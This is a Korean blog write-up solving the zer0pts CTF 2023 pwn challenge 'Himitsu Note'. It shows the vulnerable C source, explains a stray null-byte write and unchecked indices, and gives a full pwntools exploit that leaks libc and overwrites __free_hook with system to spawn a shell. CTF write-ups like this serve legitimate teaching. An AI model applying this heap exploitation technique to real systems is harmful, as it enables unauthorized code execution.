CIDY
[zer0pts CTF 2023] Himitsu Note 본문
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define NOTE_NUM 4
#define NOTE_SIZE 0x800
void print(const char *s) {
if (write(STDOUT_FILENO, s, strlen(s)) <= 0)
_exit(1);
}
void getstr(const char *s, char *buf, size_t len) {
print(s);
for (size_t i = 0; ; i++) {
char c;
if (read(STDIN_FILENO, &c, 1) <= 0)
_exit(1);
else if (c == '\n') {
buf[i] = '\0';
break;
} else if (i < len) {
buf[i] = c;
}
}
}
int getint(const char *s) {
char buf[0x8] = { 0 };
getstr(s, buf, sizeof(buf) - 1);
return atoi(buf);
}
void main(void) {
char *note_list[NOTE_NUM] = { NULL };
print("--- Himitsu Note ---\n"
"1. add\n"
"2. edit\n");
while (1) {
int choice = getint("> ");
switch (choice) {
case 1: {
unsigned int i = getint("index: ");
if (!note_list[i]) {
note_list[i] = (char*)malloc(NOTE_SIZE);
print("[+] done\n");
} else {
print("[-] error\n");
}
break;
}
case 2: {
unsigned int i = getint("index: ");
getstr("data: ", note_list[i], NOTE_SIZE - 1);
break;
}
default: {
print("[+] bye\n");
for (int i = 0; i < NOTE_NUM; i++)
if (note_list[i])
free(note_list[i]);
memset(note_list, 0, sizeof(note_list));
return;
}
}
}
}
요즘 CTF특인지 포너블이 좀 어렵게 나오는 경향이 있는 것 같다. 특히 이번 CTF는 소스코드를 모두 제공해줬고 그 분량이 얼마 안 되는데도 좀 까다로웠던듯하다.
void getstr(const char *s, char *buf, size_t len) {
print(s);
for (size_t i = 0; ; i++) {
char c;
if (read(STDIN_FILENO, &c, 1) <= 0)
_exit(1);
else if (c == '\n') {
buf[i] = '\0';
break;
} else if (i < len) {
buf[i] = c;
}
}
}
우선 첫 번째 취약점은 getstr함수에서 발생한다. 일단 설계 자체가 조금 이상한게, 입력 자체의 길이를 제한하는 것이 아니고 입력은 엔터 전까지 무한정 받는데 길이에 부합하는 부분만 복사를 해 주겠다는 것이다.
그리고 마지막에 엔터 대신에 널 바이트를 끼워주는데, 그 부분에는 인덱스 검사가 없다. 즉 내가 원하는 곳에 널 바이트 하나를 임의로 넣을 수 있는 것이다.
그런데 그걸로 어떻게 릭을 하는지가 문제이다. 청크 할당 크기가 커서 unsorted bin등에 연결을 할 수는 있지만 출력함수가 하나도 없다. 그렇다고 실행 흐름을 바꿀 수 있는 무언가가 있지도 않고, 그냥 return하는 수밖에 없다.
그런데 return주소의 마지막 1바이트를 NULL로 만들어서 return시키면 다음과 같이 무엇인가 출력된다.
transferring control어쩌구.. 그리고 main을 다시 호출할 수 있게 된다.
위 사진은 내가 libc leak까지 해낸 그림인데, __libc_start_main의 흐름을 따라가보면 transferring control다음에 %s서식문자를 이용해서, main의 정리 전 rsp위치 + 0x48의 위치를 한 번 참조해 다시 그 주소를 %s로 출력하고 있었다.
따라서 우선 main종료 시 free되는 범위인 index 0 1 2 3 중 아무 곳에나 할당을 해서 첫 번째 메인 종료 시 main arena의 주소를 힙 영역에 남긴다. 그 다음 저 취약점으로 메인을 다시 돌아오면 어차피 힙정보는 그대로 유지되고, rsp + 0x48은 원래 idx 37이라는 또다른 스택 주소를 가리키고 있다. 따라서 rsp + 0x48위치가 가리키고 있는 idx = 37에 할당을 시키면, 이중 참조해서 %s 출력하니까 libc leak이 된다.
그럼 말도 안되게 libc leak은 했고 최종 익스는 어떻게 할 수 있을까? 이게 20.04라 hook overwrite가 된다.
from pwn import *
def add(note_idx):
p.sendlineafter("> ", str(1).encode())
p.sendlineafter("index: ", str(note_idx).encode())
def edit(note_idx, data):
p.sendlineafter("> ", str(2).encode())
p.sendlineafter("index: ", str(note_idx).encode())
p.sendlineafter("data: ", data)
def ret():
p.sendlineafter("> ", str(3).encode())
p = remote("pwn.2023.zer0pts.com", 9003)
#p = process("./chall")
e = ELF("./chall")
libc = e.libc
mnull = b""
mnull += b"1"
mnull += b"\x00" * 0x4f
p.sendlineafter("> ", mnull)
p.sendlineafter("index: ", str(0).encode())
edit(9, b"\x00")
add(6)
ret()
mnull = b""
mnull += b"2"
mnull += b"\x00" * 0x4f
p.sendlineafter("> ", mnull)
p.sendlineafter("index: ", str(9).encode())
p.sendlineafter("data: ", b"\x00" * 7)
# stack = 0x7ffe32791900
# print = 0x7ffe32791948 idx = 9
add(37)
ret()
p.recvuntil(b"transferring control: ")
base = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x1ecbe0
print(hex(base))
binsh = base + next(libc.search(b"/bin/sh\x00"))
system = base + libc.sym['system']
free_hook = base + libc.sym['__free_hook']
edit(9, p64(free_hook))
edit(37, p64(system))
add(0)
edit(0, b"/bin/sh\x00")
ret()
p.interactive()
역시 마찬가지로 rsp + 0x48, idx = 9번에 스택을 가리키는 스택 주소가 있는 것을 이용했다. 그걸 이용해서 idx = 37위치에 free_hook을 적고, 그걸 edit해서 system으로 바꾸고, /bin/sh가 적힌 청크를 return하며 해제시키면 익스가 된다.
'Hack > CTF' 카테고리의 다른 글
[LINE CTF 2021] bank (0) | 2023.08.03 |
---|---|
[QWB CTF 2018] core (0) | 2023.07.26 |
[DanteCTF 2023] Write up (2) | 2023.06.05 |
[DEFCON CTF 2023 Qualifier] Open House(작성중) (0) | 2023.06.02 |
[TAMU CTF 2023] Write up (2) | 2023.05.08 |